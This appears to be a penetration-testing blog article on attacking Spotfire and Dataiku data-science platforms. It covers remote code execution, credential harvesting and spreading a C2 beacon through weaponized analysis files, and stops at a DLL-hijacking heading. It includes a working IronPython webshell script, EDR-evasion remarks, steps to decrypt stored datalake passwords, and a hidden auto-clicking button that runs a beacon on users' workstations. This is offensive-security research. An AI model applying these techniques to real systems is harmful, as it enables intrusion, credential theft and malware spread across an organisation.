<p>It is <span style="color: #451dc7;"><strong>time to explore new horizons </strong></span>and renew this old stuff with a new set of applications.</p>
<p>In this article,<span style="color: #451dc7;"><strong> we will look at the DataScience application</strong></span>. With the rise of <span style="color: #250f6b;"><em>BigData</em></span>, more and more companies are integrating <span style="color: #250f6b;"><em>DataScience</em></span> infrastructure on their information system. We will see how these applications can be exploited to:</p>
<ul>
<li><em>Achieve remote code execution</em></li>
<li><em>Move laterally on the internal network</em></li>
<li><em>Spread malware among users</em></li>
<li><em>Ease access persistence</em></li>
<li><em>Exploit datalake for datamining</em></li>
</ul>
<h1><span style="color: #451dc7;">2. Initial Access on the DataScience Application</span></h1>
<p>There are a lot of different <span style="color: #250f6b;"><em>DataScience</em> </span>applications. In this article we will mainly focus on the <span style="color: #250f6b;"><em>Spotfire</em></span> and the <span style="color: #250f6b;"><em>Dataiku</em></span> applications as they are either the most popular or with the wind in their sails.</p>
<p>As <span style="color: #250f6b;"><em>DataScience</em></span> is still new in companies, these applications are often deployed and maintained by the business and not by the <span style="color: #250f6b;"><em>IT</em> </span>department.</p>
<p>Having an application out of the standard <span style="color: #250f6b;"><em>IT</em></span> process (<span style="color: #250f6b;"><em>Shadow IT</em></span>) is often interesting for an attacker. Indeed, when an application is set up out of the standard <em><span style="color: #250f6b;">IT</span> </em>process, it often does not implement the standard security rules enforced by the company. So, you will surely see:</p>
<ul>
<li>Application exposed directly on the internet without additional protection</li>
<li>Application not set up in a specific <span style="color: #250f6b;"><em>DMZ</em> </span>with a direct access to the internal network</li>
<li>Application with a local authentication instead of the global company authentication mechanism</li>
<li>Lack of hardening in the deployment process and lack of security patch deployment</li>
</ul>
<p>These points can seem irrelevant, but the accumulation leads to the possibility to access to these applications directly from the <span style="color: #250f6b;"><em>Internet</em> </span>with unsecured or default credentials still valid or through an authentication bypass fixed few years ago but never patched cause the business doesn&#8217;t know or even care…</p>
<h1><span style="color: #451dc7;">3. DataScience is RCE as a service</span></h1>
<h2><span style="color: #451dc7;">3.1. Why using datascience application</span></h2>
<p>Before getting to the heart of the matter, let’s take some time to discuss the interest and use case of <span style="color: #250f6b;"><em>datascience</em> </span>application.</p>
<p>Let’s take as an example a company that sell several types of products such as <span style="color: #250f6b;"><em>Amazon</em></span> or any marketplace. This company wants to see in real time the trending products depending on some user characteristic collected by their website analytics.</p>
<p>They can use an <span style="color: #250f6b;"><em>Excel</em></span> file and try using the <span style="color: #250f6b;"><em>Excel VBA</em> </span>features to create graphs and trends, but it would be very painful to manually import all data in the <span style="color: #250f6b;"><em>Excel</em></span> file and for a company with millions of customers, the <span style="color: #250f6b;"><em>Excel</em></span> will likely crash every time some sneeze nearby.</p>
<p>To solve this problem, the company started storing its analytics data in a database that will be called a <span style="color: #250f6b;"><em>datalake</em></span>. Then, when someone wants to create a nice report, he creates a <span style="color: #250f6b;"><em>python</em></span> script that connects to the database, fetch the relevant data, process it through <span style="color: #250f6b;"><em>numpy</em></span> or <span style="color: #250f6b;"><em>panda</em></span> and use <span style="color: #250f6b;"><em>matplotlib</em></span> to draw the graph and trends. This is much better, the application can scale up, is more stable but it asks for technical scripting skills so the business cannot use it by itself.</p>
<p>So, the company decides to develop a nice front-end to wrap all the <span style="color: #250f6b;"><em>python</em></span> script behind a nice <span style="color: #250f6b;"><em>UI</em></span> anyone can use. Users can connect to the application, choose the data to import, process it and draw graph without writing a single line of code.</p>
<p>They just created their first <span style="color: #250f6b;"><em>datascience</em></span> application.</p>
<p>Today, companies will not likely invest several months of development on this type of setup. They prefer to buy an all-in-one commercial application. Among these applications there are <span style="color: #250f6b;"><em>Spotfire</em></span> and <span style="color: #250f6b;"><em>Dataiku</em></span>.</p>
<h2><span style="color: #451dc7;">3.2. Where is my RCE?</span></h2>
<p><span style="color: #250f6b;"><em>Datascience</em></span> application can be summarized as a simple frontend for data processing scripts. And sometimes, the built-in functions are not enough so they expose access to their script engine to allow developers to create custom script that can be fully integrated to the environment and used by the business.</p>
<h3><span style="color: #451dc7;">3.2.1. Spotfire</span></h3>
<p><span style="text-decoration: underline;"><strong>Basic Spotfire infrastructure</strong></span></p>
<p>When deployed as-is, the <span style="color: #250f6b;"><em>Spotfire</em></span> infrastructure looks like the following figure:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23661" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01.png" alt="" width="949" height="488" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01.png 949w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01-371x191.png 371w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_01-768x395.png 768w" sizes="auto, (max-width: 949px) 100vw, 949px" /></p>
<p style="text-align: center;"><em>Figure 1: Basic Spotfire infrastructure</em></p>
<p>The user connects to a <span style="color: #250f6b;"><em>WebUI</em></span> exposed by the <span style="color: #250f6b;"><em>Spotfire WebPlayer</em> </span>or through a dedicated <span style="color: #250f6b;"><em>Spotfire</em></span> thick client directly from their workstation and access to their report stored in the <span style="color: #250f6b;"><em>Spotfire</em></span> server. Once the reports are opened, they contact the Spotfire Server to retrieve the data and execute the data cleaning script.</p>
<p><strong><span style="text-decoration: underline;">Remote Code Execution</span></strong></p>
<p>The Spotfire allows by design the execution of <span style="color: #250f6b;"><em>R</em></span> script but execution of <span style="color: #250f6b;"><em>Python</em></span> script can be easily enabled by loading the <span style="color: #250f6b;"><em>IronPython</em></span> scripting module.</p>
<p>In any case, users are able to execute scripts directly from the <em><span style="color: #250f6b;">Spotfire WebPlayer</span> </em>or the thick client. However, they are only able to modify or create script from the <span style="color: #250f6b;"><em>Spotfire</em> </span>thick client.</p>
<p>From the thick client, it is possible to create a new project. Inside the project, it is possible to create a <span style="color: #250f6b;"><em>UI</em></span>. Let’s create a webshell <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>First, we will create the <em><span style="color: #250f6b;">UI</span></em>. It will consist of a <span style="color: #250f6b;"><em>textarea</em> </span>to type the command, another <span style="color: #250f6b;"><em>textarea</em> </span>to display the command result and a button to send the command:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23663" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg" alt="" width="1196" height="758" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg 1196w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-301x191.jpg 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-768x487.jpg 768w" sizes="auto, (max-width: 1196px) 100vw, 1196px" /></p>
<p style="text-align: center;"><em>Figure 2: Final webshell UI</em></p>
<p>Once the project has been created, we create a new empty page. When an empty page is created, <span style="color: #250f6b;"><em>Spotfire</em></span> asks if we want to start with data, visualization or other:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23665" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg" alt="" width="848" height="524" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg 848w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-309x191.jpg 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-63x39.jpg 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-768x475.jpg 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></p>
<p style="text-align: center;"><em>Figure 3: Spotfire new page</em></p>
<p>We will choose “<span style="color: #250f6b;"><em>Start from Visualizations</em></span>” and choose the “<em><span style="color: #250f6b;">Text area</span></em>” visualization type. This should show a full blank page:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23667" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg" alt="" width="840" height="532" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg 840w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-302x191.jpg 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-768x486.jpg 768w" sizes="auto, (max-width: 840px) 100vw, 840px" /></p>
<p style="text-align: center;"><em>Figure 4: Spotfire new textarea</em></p>
<p>This <span style="color: #250f6b;"><em>textarea</em> </span>will contain the whole webshell input control. Let’s create another <span style="color: #250f6b;"><em>textarea</em> </span>for the result:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23669" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg" alt="" width="953" height="597" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg 953w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-305x191.jpg 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-768x481.jpg 768w" sizes="auto, (max-width: 953px) 100vw, 953px" /></p>
<p style="text-align: center;"><em>Figure 5: Spotfire second textarea</em></p>
<p>So now, we can click on “<span style="color: #250f6b;"><em>Edit Text Area</em></span>” at the top of the first text area. This will allow the customization of the text area content.</p>
<p>First let’s add an input control that will be used to type the command to send to the server:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23671" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg" alt="" width="1140" height="666" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg 1140w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-327x191.jpg 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-67x39.jpg 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-120x70.jpg 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-768x449.jpg 768w" sizes="auto, (max-width: 1140px) 100vw, 1140px" /></p>
<p style="text-align: center;"><em>Figure 6: Text area modification</em></p>
<p>We will bind the control value to a document property to be able to use it with our future python script. We can create a new property called <span style="color: #250f6b;"><em>Input</em> </span>with the data type <span style="color: #250f6b;"><em>String</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23673" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg" alt="" width="629" height="792" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg 629w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-152x191.jpg 152w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-31x39.jpg 31w" sizes="auto, (max-width: 629px) 100vw, 629px" /></p>
<p style="text-align: center;"><em>Figure 7: Bind control to input field</em></p>
<p>Then, let’s create an action control by clicking on the “<span style="color: #250f6b;"><em>Insert Action Control</em></span>” button at the top of the <em><span style="color: #250f6b;">Edit Text Area</span> </em>window. We click on Script and choose the Control type Button. Then we can create a new <span style="color: #250f6b;"><em>IronPython</em> </span>script:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23675" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg" alt="" width="826" height="770" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg 826w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-205x191.jpg 205w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-42x39.jpg 42w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-768x716.jpg 768w" sizes="auto, (max-width: 826px) 100vw, 826px" /></p>
<p style="text-align: center;"><em>Figure 8: Add button</em></p>
<p>Fill the script content with the following code:</p>
<pre><br /><code>from Spotfire.Dxp.Application.Visuals import *</code><br /><code>from System.IO import *</code><br /><code>from System.Drawing import *</code><br /><code>from System.Drawing.Imaging import *</code><br /><code>from System.Text.RegularExpressions import *</code><br /><code>import subprocess</code><br /><code>vis=visual.As[HtmlTextArea]()</code><br /><code>if 'clean!' in com:</code><br /><code>    vis.HtmlContent = ''</code><br /><code>else:</code><br /><code>    try:</code><br /><code>        vis.HtmlContent = "Executing {}".format(com)</code><br /><code>        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)</code><br /><code>        output, _ = process.communicate()</code><br /><code>        vis.HtmlContent='&lt;br&gt;'.join(output.split('\n'))</code><br /><code>    except Exception as e:</code><br /><code>        vis.HtmlContent="{}".format(e)</code></pre>
<p>This code loads a bunch of <span style="color: #250f6b;"><em>Spotfire</em></span> libraries that are used to communicate with the <span style="color: #250f6b;"><em>UI</em></span>. The “<span style="color: #250f6b;"><em>visual</em></span>” variable represents the text area used to display the result. The “<span style="color: #250f6b;"><em>com</em></span>” variable contains the value of the property bond to our input field created.</p>
<p>The script executes the command stored in the “<span style="color: #250f6b;"><em>com</em></span>” and write the result on the <span style="color: #250f6b;"><em>UI</em></span> element pointed by the “<span style="color: #250f6b;"><em>visual</em></span>” variable.</p>
<p>Now, we have to bind the “<span style="color: #250f6b;"><em>visual</em></span>” and “<span style="color: #250f6b;"><em>com</em></span>” variable to the different project element. In the “<span style="color: #250f6b;"><em>Script parameters</em></span>” table, add a new parameter:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23677" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg" alt="" width="532" height="539" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg 532w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-189x191.jpg 189w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-38x39.jpg 38w" sizes="auto, (max-width: 532px) 100vw, 532px" /></p>
<p style="text-align: center;"><em>Figure 9: Bind visual parameter</em></p>
<p>Do the same for the com parameter:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23679" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg" alt="" width="623" height="637" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg 623w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-187x191.jpg 187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-38x39.jpg 38w" sizes="auto, (max-width: 623px) 100vw, 623px" /></p>
<p style="text-align: center;"><em>Figure 10: Bind com parameter</em></p>
<p>So now, when the script is executed, it will automatically bind the visual parameter to the <span style="color: #250f6b;"><em>textarea</em></span> panel used to display the result and the com parameter to the content of the <span style="color: #250f6b;"><em>Input</em> </span>property created when defining the input field.</p>
<p>Let’s save all of this. Congratulations, we have a working webshell:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23681" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg" alt="" width="809" height="261" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg 809w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-437x141.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-71x23.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-768x248.jpg 768w" sizes="auto, (max-width: 809px) 100vw, 809px" /></p>
<p style="text-align: center;"><em>Figure 11: Final webshell</em></p>
<p>If executed directly from the thick client, the code will only be executed in local, so this is not really interesting. However, if the code is executed directly from the <span style="color: #250f6b;"><em>Spotfire Webplayer</em></span>, it will be executed on the <span style="color: #250f6b;"><em>Spotfire</em></span> server, leading to a remote code execution on the server.</p>
<p> </p>
<h3><span style="color: #451dc7;">3.2.2. Dataiku</span></h3>
<p>The remote code execution on <span style="color: #250f6b;"><em>Dataiku</em></span> is more straight forward. Indeed, <span style="color: #250f6b;"><em>Dataiku</em></span> directly embeds a <span style="color: #250f6b;"><em>Jupyter</em></span> notebook like features.</p>
<p>By creating a new <span style="color: #250f6b;"><em>Jupyter</em></span> project, it is possible to directly execute command on the server as shown in the following figure:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23683" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png" alt="" width="526" height="228" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png 526w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-71x31.png 71w" sizes="auto, (max-width: 526px) 100vw, 526px" /></p>
<p style="text-align: center;"><em>Figure 12: Code execution with Dataiku</em></p>
<h3><span style="color: #451dc7;">3.2.3. OPSEC consideration</span></h3>
<p>One can say that spawning python process as a child process for <span style="color: #250f6b;"><em>Spotfire</em></span> or <span style="color: #250f6b;"><em>Dataiku</em></span> will lead to hard detection by <span style="color: #250f6b;"><em>EDR</em></span>. However, we have to keep in mind that spawning a python process is a legit behavior for the <span style="color: #250f6b;"><em>Spotfire</em></span> or <span style="color: #250f6b;"><em>Dataiku</em></span> process.</p>
<p>However, if you start to spawn cmd.exe directly from the python script, yes, this could lead to hard detection. But <span style="color: #250f6b;"><em>python</em></span> is known to be suspicious by default and <span style="color: #250f6b;"><em>EDR</em></span> are a little more relaxed about the actions performed by a python process due to several false positive.</p>
<p>So, in a nutshell, spawning the python process should not lead to any specific detection, but you should be careful on the script you will execute from it.</p>
<h1><span style="color: #451dc7;">4. Credentials harvesting</span></h1>
<p>Having <span style="color: #250f6b;"><em>RCE</em></span> on a server is always nice, but it is better to know what we can do with it. First of all, if you achieved <span style="color: #250f6b;"><em>RCE</em></span> on a domain join computer, you have an authenticated access to the domain, and when you are coming directly from the internet this is the cherry on the cake.</p>
<p>The specificity of <span style="color: #250f6b;"><em>datascience</em></span> applications is that they are connected to <span style="color: #250f6b;"><em>datalake</em></span>. These connections can be standard <span style="color: #250f6b;"><em>SQL</em></span> connection, but they can also be connection to cloud <span style="color: #250f6b;"><em>datalake</em></span> such as <span style="color: #250f6b;"><em>AWS</em></span>.</p>
<p>With an <span style="color: #250f6b;"><em>RCE</em></span> on the server, you can usually access to all the credentials stored in the application.</p>
<h2><span style="color: #451dc7;">4.1. Example with Dataiku</span></h2>
<p>On <span style="color: #250f6b;"><em>Dataiku</em></span>, the secrets are stored in the <span style="color: #250f6b;"><em>DATA_DIR/config directory</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23685" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png" alt="" width="607" height="203" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png 607w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-437x146.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-71x24.png 71w" sizes="auto, (max-width: 607px) 100vw, 607px" /></p>
<p style="text-align: center;"><em>Figure 13: Configuration file for dataiku</em></p>
<p>The <span style="color: #250f6b;"><em>users.json</em> </span>contains the user database for <span style="color: #250f6b;"><em>dataiku</em></span>. You can use it to create a new administrator user and keep persistence on the environment.</p>
<p>The <span style="color: #250f6b;"><em>connections.json</em> </span>file contains all the credentials to access to the <span style="color: #250f6b;"><em>datalakes</em></span>. However, the passwords are stored encrypted:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23687" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png" alt="" width="488" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png 488w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-71x30.png 71w" sizes="auto, (max-width: 488px) 100vw, 488px" /></p>
<p style="text-align: center;"><em>Figure 14: Password stored encrypted</em></p>
<p>Hopefully, <span style="color: #250f6b;"><em>Dataiku</em></span> provides a tool to decrypt these credentials:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23689" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png" alt="" width="575" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png 575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-437x58.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-71x9.png 71w" sizes="auto, (max-width: 575px) 100vw, 575px" /></p>
<p style="text-align: center;"><em>Figure 15: Password decryption on Dataiku</em></p>
<p>You can now use these credentials to jump on the remote database or directly on the cloud if they use <span style="color: #250f6b;"><em>AWS Datalake</em> </span>or <span style="color: #250f6b;"><em>AWS</em></span> stored databases.</p>
<p>Finally, the <span style="color: #250f6b;"><em>dataiku</em></span> account that is used to run the <span style="color: #250f6b;"><em>Dataiku</em></span> instance has all privileges on the <span style="color: #250f6b;"><em>Dataiku</em></span> instance data. You can then just retrieve all project data.</p>
<p> </p>
<h1><span style="color: #451dc7;">5. Spread among the users</span></h1>
<p>This part only applies to <span style="color: #250f6b;"><em>Spotfire</em></span> as <span style="color: #250f6b;"><em>Dataiku</em></span> does not provides thick client and this exploitation relies on the fact that user will execute code on their workstation and not on the remote server.</p>
<p> </p>
<h2><span style="color: #451dc7;">5.1. Infect other users</span></h2>
<p>Scripts embedded in analysis must be trusted in order to be executed by other users. This trust process is performed through <span style="color: #250f6b;"><em>Spotfire</em></span> users with specific rights. With remote code execution on the Spotfire instance, it is possible to directly create a new administrator user. However, due to the unsecured management on users by the business teams, all users usually have the privileges to trust the scripts.</p>
<p>In order to compromise the users, the <span style="color: #250f6b;"><em>Spotfire</em></span> application can be <strong><span style="color: #451dc7;">weaponized as a command-and-control infrastructure</span></strong><em>.</em></p>
<p>When the user opens an analysis file from his thick client, the file is locally downloaded, and all scripts contained on the project are executed locally on the user workstation.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23691" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16.png" alt="" width="947" height="725" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16.png 947w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16-249x191.png 249w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_16-768x588.png 768w" sizes="auto, (max-width: 947px) 100vw, 947px" /></p>
<p style="text-align: center;"><em>Figure 16: Macro view of the Spotfire C2 infrastructure</em></p>
<p>This analysis sheet has been <span style="color: #451dc7;"><strong>weaponized through a JS script</strong></span>. When opened by the user, the <span style="color: #250f6b;"><em>JavaScript</em></span> code will be executed leading to the execution of a final python script containing the <span style="color: #250f6b;"><em>C2</em></span> beacon.</p>
<p>This can be done by adding in any page of the project a new button that will trigger the <span style="color: #250f6b;">C2</span> python runtime. The button can be configured to have a <span style="color: #250f6b;"><em>1px</em></span> size, making it invisible. Then a <span style="color: #250f6b;"><em>JS</em></span> script can be added to automatically click on the button on a regular basis (every <span style="color: #250f6b;"><em>30</em></span> seconds for example).</p>
<p>As long as the analysis file is opened, the <span style="color: #250f6b;"><em>JavaScript</em></span> code will call the <span style="color: #250f6b;"><em>C2</em></span> python script every <span style="color: #250f6b;"><em>30</em></span> seconds allowing execution of<span style="color: #451dc7;"><strong> arbitrary python script and OS command on the user computer</strong></span><em>.</em></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23693" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17.png" alt="" width="947" height="693" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17.png 947w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17-768x562.png 768w" sizes="auto, (max-width: 947px) 100vw, 947px" /></p>
<p style="text-align: center;"><em>Figure 17: Low-level view of the infected analysis file</em></p>
<p>The only limitation is that the <span style="color: #250f6b;"><em>JS</em></span> will only be triggered if the user opens the specific infected page. This can be bypassed<span style="color: #451dc7;"><strong> by redirecting the user to the malicious analysis page </strong></span>when he opens it.</p>
<p>When the user opens the infected analysis, it <span style="color: #451dc7;"><strong>will automatically trigger a data function (which is different from a script)</strong></span>.</p>
<p>The <span style="color: #250f6b;"><em>datafunction</em></span> are functions executed when the project is opened. However, their subset of features is limited. They cannot run important <span style="color: #250f6b;"><em>python</em></span> script on a regular basis.</p>
<p>This data function is configured to <span style="color: #451dc7;"><strong>update a random document property</strong></span>. <span style="color: #250f6b;"><em>Spotfire</em> </span>allows setting up some script hook on properties changed. So, when the property is changed by the data function, <span style="color: #451dc7;"><strong>it will trigger an IronPython script that will display a specific analysis sheet to the user</strong></span><em>. </em></p>
<p> </p>
<p>Once the infected analysis sheet is focused, it will start the python <span style="color: #250f6b;"><em>C2</em></span> beacon on a regular basis through the <span style="color: #250f6b;">JS</span> script as explained before:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23695" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18.png" alt="" width="947" height="693" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18.png 947w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18-768x562.png 768w" sizes="auto, (max-width: 947px) 100vw, 947px" /></p>
<p style="text-align: center;"><em>Figure 18: C2 auto run process</em></p>
<p>When this <span style="color: #250f6b;"><em>C2</em></span> is deployed, it <span style="color: #451dc7;"><strong>will stay alive as long as the infected analysis stay open </strong></span>on the user’s workstation.</p>
<p>The following figure shows the compromise of a user workstation and the execution of a remote python script fetched by the python beacon:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23697" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png" alt="" width="964" height="429" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png 964w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-429x191.png 429w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-768x342.png 768w" sizes="auto, (max-width: 964px) 100vw, 964px" /></p>
<p style="text-align: center;"><em>Figure 19: Command execution on the user workstation</em></p>
<p>In order to compromise as many users as possible, it is possible to infect several projects and wait that users click on them.</p>
<p>Usually, companies have specific project templates store somewhere on the Spotfire server. If you find them, you will automatically infect all project based on this template.</p>
<h2><span style="color: #451dc7;">5.2. Extend compromise time</span></h2>
<p>This <span style="color: #250f6b;"><em>C2</em></span> process is interesting but <span style="color: #451dc7;"><strong>ends when the user closes the infected analysis</strong></span><em>.</em> In order to have a more persistent access to the user computer, the <span style="color: #250f6b;"><em>C2</em> </span>process is <span style="color: #451dc7;"><strong>migrated from Spotfire to another python instance </strong></span>on the user computer.</p>
<p>Indeed, when <span style="color: #250f6b;"><em>Spotfire</em></span> is installed, it also installs a raw <span style="color: #250f6b;"><em>python</em></span> interpreter. Through the initial <span style="color: #250f6b;"><em>C2</em></span>, it is possible, through <span style="color: #250f6b;"><em>OS</em></span> command execution, to write another <span style="color: #250f6b;"><em>C2</em></span> beacon on the user filesystem and <strong><span style="color: #451dc7;">trigger its execution by the raw python interpreter</span></strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23699" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20.png" alt="" width="947" height="520" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20.png 947w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20-348x191.png 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20-768x422.png 768w" sizes="auto, (max-width: 947px) 100vw, 947px" /></p>
<p style="text-align: center;"><em>Figure 20: C2 without Spotfire restrictions</em></p>
<p>This time, even if the infected analysis is closed, <span style="color: #451dc7;"><strong>the python process will not be killed</strong> </span>as it is not related to <span style="color: #250f6b;"><em>Spotfire</em></span> anymore, <span style="color: #451dc7;"><strong>granting the attacker persistent access to the user computer </strong></span>as long as no reboot is performed.</p>
<p> </p>
<h2><span style="color: #451dc7;">5.3. Access persistency</span></h2>
<h3><span style="color: #451dc7;">5.3.1. DLL Hijacking</span></h3>
